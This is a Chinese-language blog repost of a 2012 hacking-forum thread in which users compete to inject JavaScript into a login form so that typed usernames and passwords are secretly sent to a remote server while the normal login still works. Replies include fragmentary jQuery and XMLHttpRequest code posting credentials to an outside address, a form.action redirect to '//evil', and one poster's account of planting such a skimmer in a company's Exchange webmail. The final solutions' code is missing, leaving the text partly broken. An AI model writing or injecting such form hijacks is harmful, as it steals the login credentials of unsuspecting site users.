劫持表单、在不影响原程序逻辑的前提下、同时将数据发送到多个地址

  • A+
所属分类:lcx

一个利用 JavaScript 劫持表单的话题,在不影响原程序运行逻辑的同时,将表单数据发送到多个地址,并且把数据提交到原地址。

在乌云看到一个技术挑战贴:来吧,技术挑战,搞起!!!(大牛慎入)~~~~~~

(以下所有回复中,“核攻击”是我)


标题:来吧,技术挑战,搞起!!!(大牛慎入)~~~~~~

作者:剁刀

时间:2012-08-11 00:41

内容:


Username:
Password:
 

技术挑战:

这是一段常规的登录代码,登录的时候会发起一个post请求,请在INPUT CODE处添加

javasript代码对checkform进行劫持,使得将获取的用户名密码发送到远程site接收。

要求:

1. 不得影响程序原有逻辑(即不得以任何方式影响原来的登录功能,POST包必须能正常发出去)

2. 兼容并通杀IE+FF+CHROME

3. 先别扯淡,等你做出来再说简单


相关回复:


蟋蟀哥哥 (http://zone.wooyun.org/?do=action) | 2012-08-11 01:39

简单的写一个,也没对post的数据进行优化,由于没环境,可能有错误,需要调试的.只是说下思路

好久没写javascript了。。大家不要笑

');
    google.load("jquery", "1.5.1","true");//调用google javascript API,用javascript写javascript的原因是因为google在伟大的GFW下不稳定。这样写,不会影响页面的加载
  $(".sbmt").click(PostPasswd);
  (function($) {
    function PostPasswd(){
    var postName = $("input[username]");//获得并定义输入的值,只是简单写下,没有写验证.
    var postPasswd = $("input[password]");
    var post1 = "name=";
    var post2 = "&pswd=";//拼接字符串
      $.ajax({
         type: "POST",
         url: "some.php",//远程POST地址
         data: post1 + postName + post2 + postPasswd,
      });
    }//ajax POST数据
    //]]>
    

好吧。。我知道代码有问题..

 

beastk | 2012-08-11 01:47

也不知道你要HOOK谁的,也不知道是不是技术挑战

 

一刀终情 (麻麻说,签名要长…………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………) | 2012-08-11 09:23

技术挑战就骗人了吧~~等着用吧~

 

核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2012-08-11 09:46

实在是,懒得回……

 

剁刀 | 2012-08-11 10:06

@一刀终情 @beastk 楼上的废废们,做不出来就不要唧唧歪歪。技术很牛又怎么样,有点技术就当宝贝似的藏着掖着,敝帚自珍。自己是固步自封和井底之蛙都不知道。这难道是很难的技术么,还需要在这里骗答案?我先把我的答案的md5贴在这里,你们可以闭嘴了吗?

大小: 1988 字节

修改时间: 2012年8月11日, 10:03:22

MD5: AE2EFE3D88975C98BA21E8BCCA36EB73

SHA1: E677B24FF8DFCDA3112BD0FDD23E166D48D49340

CRC32: A947AACD

 

剁刀 | 2012-08-11 10:09

@蟋蟀哥哥 顶蟋蟀哥哥

 

剁刀 | 2012-08-11 10:13

@核攻击 别介,你还是回复一个吧,做到通用再说。这个坛子里能做出完美答案的人不超过5个

 

xsser (十根阳具有长短,世上人多心不齐) | 2012-08-11 10:22

好吧,不如加个限制,用最少的字节数吧

 

蟋蟀哥哥 (http://zone.wooyun.org/?do=action) | 2012-08-11 13:57

@xsser 嗯。。用最少的字节数,这个才是技术挑战。。话说这个难度不大。。确实简单。。怎么样优化才是硬道理。。

 

剁刀 | 2012-08-11 14:19

@蟋蟀哥哥 老大,你那个代码貌似连用户名和密码都获取不到的。。。好多人都觉得这个简单,可一到实现就发现不是那么回事了,因为这里面有个小猫腻~~

 

蟋蟀哥哥 (http://zone.wooyun.org/?do=action) | 2012-08-11 14:33

@剁刀 我说了代码有问题的,呵呵。。估计的那个地方。。懂的人会知道怎么回事

 

剁刀 | 2012-08-11 14:43

@蟋蟀哥哥 完全没搞明白你说的post优化是什么意思。。。求科普。。。。

 

蟋蟀哥哥 (http://zone.wooyun.org/?do=action) | 2012-08-11 15:15

@剁刀 打错了的。其实想说的是验证和判断

 

only_guest (www.guoke.ca) | 2012-08-11 15:53

@gainover 秒了他!

 

px1624 | 2012-08-11 16:02

顶楼上!

 

Sogili (-_-)Web疯狂科学家//mmme.me(-_-) | 2012-08-11 16:35

loginform.action='//evil'//25字符

//evil 307跳转回去

挑战结束?

 

s!lly3r (嘿 二货!你在干嘛呢?) | 2012-08-11 16:43

楼主的意思是:

在点击提交按钮的时候 发送表单内容POST到正常原有的地址 还要发送该内容到另外一个自定义的地址

@蟋蟀哥哥 一楼代码明显没有做到

 

剁刀 | 2012-08-11 16:49

@Sogili 你的这个方法明显不行,试都没试~

 

剁刀 | 2012-08-11 16:50

@s!lly3r 没错,就是这个意思,不能阻碍表单的正常登录功能的同时,还要把截获的用户名密码发送到远程

 

剁刀 | 2012-08-11 16:55

@核攻击 看了你发的帖子我终于明白你懒得回的原因了,因为你根本就是混娱乐圈的哇:)

 

Sogili (-_-)Web疯狂科学家//mmme.me(-_-) | 2012-08-11 16:56

@剁刀 你试试:)

 

s!lly3r (嘿 二货!你在干嘛呢?) | 2012-08-11 16:58

原来搞过人家的exchange的owa 也是记录登陆账号密码 我分享一下思路吧

也是绑定登陆界面表单click

登陆界面js的行为就是获取表单数据 把账号和密码记录到当前域的cookie里面

又在邮箱登陆成功才会加载的某js文件里 加入了判断cookie里面是否有账号密码的代码

这样登陆成功后 js代码就会获取账号密码发送的远程地址

这样做还有个好处就是只获取有效的账号密码 因为只有邮箱登陆成功后才会运行发送密码的js代码

 

剁刀 | 2012-08-11 17:04

@s!lly3r 嘿嘿,感谢思路分享,不错:)但是就本题来讲,你会发现你绑定并记录到username/password之后,是不能直接发包的

 

Sunshine (︶︿︶/ / //! 。! o∩_∩o) | 2012-08-11 17:10

木你远程调用js不就完了,这个代码最短,嘿嘿,说着玩啊,为了不影响原登录,做个延迟,先登陆,再发送,代码今晚写一点……

 

tmp | 2012-08-11 17:12

@xsser @gainover 精通javascript的还不上???

 

Sunshine (︶︿︶/ / //! 。! o∩_∩o) | 2012-08-11 18:03

@only_guest.短信收到没有啊?

 

_Evil (性趣是最好的老师.) | 2012-08-11 18:04

@剁刀 我放假马上看看去。

 

horseluke (微碌) | 2012-08-11 18:27

我汗........这个问题看来很多人在求:

http://zhidao.baidu.com/question/385864615.html

不过上面那个是asp,和这个问题不一样。我想到的也只能是重载函数来解决

 

剁刀 | 2012-08-11 18:30

@horseluke 对于本题来说,重载函数应该不行吧,我试了貌似没成功。。。

 

剁刀 | 2012-08-11 18:31

@horseluke 疯了,我再说一遍,哥不是来骗答案的,日。

 

_Evil (性趣是最好的老师.) | 2012-08-11 20:22

1.js

var xmlhttp = false;
if (window.XMLHttpRequest) {                   //Mozilla、Safari等浏览器
  xmlhttp = new XMLHttpRequest();
} 
else if (window.ActiveXObject) {                 //IE浏览器
  try {
    xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
  } catch (e) {
    try {
      xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
     } catch (e) {}
  }
}

我压根不会写代码。。。

 

_Evil (性趣是最好的老师.) | 2012-08-11 20:26

@剁刀 我没时间测试随便想了就写下了如果没跳转就:window.location.href 或者用其他的跳转,有referer就跳referer。。。

 

_Evil (性趣是最好的老师.) | 2012-08-11 20:31

@剁刀 我也很喜欢实在的研究 [email protected] 欢迎一起交流 g_talk:[email protected]

 

_Evil (性趣是最好的老师.) | 2012-08-11 20:59

 

icefish | 2012-08-11 21:34

我以前改sahi的时候,好像写过类似的,思路都是重载js的事件,我去看看

 

icefish | 2012-08-11 21:40

我没细想,感觉用addEvent那种似乎可以吧,

我本科的时候做的,http://wcf1987.iteye.com/blog/450197

 

_Evil (性趣是最好的老师.) | 2012-08-11 22:01

@icefish 非常感谢,好的大学不愧是黑阔养生之地!!!!!

 

啤酒 (xx) | 2012-08-11 23:19

楼主的

故意放在里面的?

 

_Evil (性趣是最好的老师.) | 2012-08-11 23:30

楼上的 恩 故意的

 

啤酒 (xx) | 2012-08-11 23:35

我如果要实现这样的目的的话,我会把原文的function checkform()函数在 INPUT CODE位置再写一次让之前的原有的function checkform()失效,然后把原文的function checkform()内容原封不动的弄下来再在函数内部把用户名密码 get到我的服务器。至于代码的简介性可能就没那么好了

 

剁刀 | 2012-08-12 00:11

@啤酒 到现在为止,楼上的没有一个说到这个问题的点子上的,尼玛劫持谁不会劫持?不管你用啥都好,重载,addevent或者DOM。

 

啤酒 (xx) | 2012-08-12 00:27

除此之外我只注意到了跳转和函数执行的时间差,其他的没看出啥来大牛你快公布答案吧看得很难受了

 

啤酒 (xx) | 2012-08-12 00:51

难道机关在你那个放到script内body?希望答案不要让人失望

 

_Evil (性趣是最好的老师.) | 2012-08-12 17:11

@剁刀 我的答案可以实现吗

 

[点此查看更多回复]


然后我给出了两个答案:

版本一:


Username:
Password:
 

版本二:

另一个,ajax 版本的。

这个问题难点在于,如何不破坏原函数运行逻辑(不是在新函数中重写原函数功能),而在这个例子中又无法调用原函数(body)。


Username:
Password:
 


接下来的原帖回复:

_Evil (性趣是最好的老师.) | 2012-08-12 18:01

@核攻击 重点是劫持原函数 谢谢了 = =我发的那个是按照自己思路来写的,作者的意思是劫持函数。我上面的那个改改应该能用,用window.mousedown来判断 @[email protected]有错误希望老大吐槽!!!

 

剁刀 | 2012-08-12 23:49

@_Evil 你的答案问题好多。。。。

 

剁刀 | 2012-08-13 00:03

@核攻击 你的代码是把帐号信息发送到远程了,但是调用document.forms[0].submit()就不会调用onsubmit事件了吧。我的意思是不破坏登录过程和判断即可,可以在新函数中重写原函数功能

 

only_guest (www.guoke.ca) | 2012-08-13 00:09

@gainover 写6个版本.我上6个马甲来发

 

剁刀 | 2012-08-13 01:04

@only_guest 老大看不过去了?看不过去自己写不来?还需要go大牛帮你搞?

 

核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2012-08-13 08:01

@剁刀

复制代码,测试完再喊……

完全符合你任何要求……

目测你压根没测试……

并且我给了两套方案,一套利用

另一套 ajax,POST 提交,存在跨域问题,并且代码很长,不推荐使用。

原函数功能并没有被破坏,而是在新函数中重写了。

 

核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2012-08-13 08:03

以上两段代码,经过调试、抓包,均成功提交数据到第三方地址,并且没有破坏原提交逻辑。

请楼主给出不符合条件的理由。

 

核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2012-08-13 08:22

额,会错意了,楼主要要的是劫持原函数,不是实现功能。

 

核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2012-08-13 08:26

@剁刀

不破坏登陆过程的尺度指的是?

最终提交操作必须是“onsubmit”?

 

剁刀 | 2012-08-13 09:19

@核攻击 嗯,符合要求,但是你提前闭合偶的script标签。。。这个有点不厚道:)


我又给出了另一个版本:


Username:
Password:
 

嘿嘿,完美版本,完全使用 onsubmit 事件提交,没有破坏原始提交逻辑。

那个闭合 script标签 是因为要插入


剁刀 | 2012-08-13 09:40

@核攻击

1. 非ajax方法不允许提前闭合

2. 你的第二个方法,没看明白,哪里提交登录请求了?如果我猜测对的话,你是不是应该把lcx.cc的代码也贴出来?

 

核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2012-08-13 10:08

@剁刀

目测你没理解,再仔细看看吧……

那个完美版本的卖点在于,它是完全使用 onsubmit 事件提交的表单,可以跟踪到……

和 lcx.cc 的代码有什么关系(你钻牛角居然能钻到这里!)?

那只是一个示例接收地址,你可以改成:www.baidu.com,或者任何地址……

至于又多出来的条件“不允许提前闭合”,我发了两个版本一个 ,是因为我之前测试

文章来源于lcx.cc:劫持表单、在不影响原程序逻辑的前提下、同时将数据发送到多个地址

相关推荐: 保护水表:关于tor和mac地址的疑问,各位进来讨论一下,反追踪/匿迹

关于tor和mac地址的疑问,各位进来讨论一下。 vakin | 2014-01-23 18:12 首先 @ 一下这方面的专家 @safe121 @clzzy vpn(公共)+Tor这种情况下,会存在在vpn端给抓包分析的可能么?根据我大概看了下,tor这种协…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: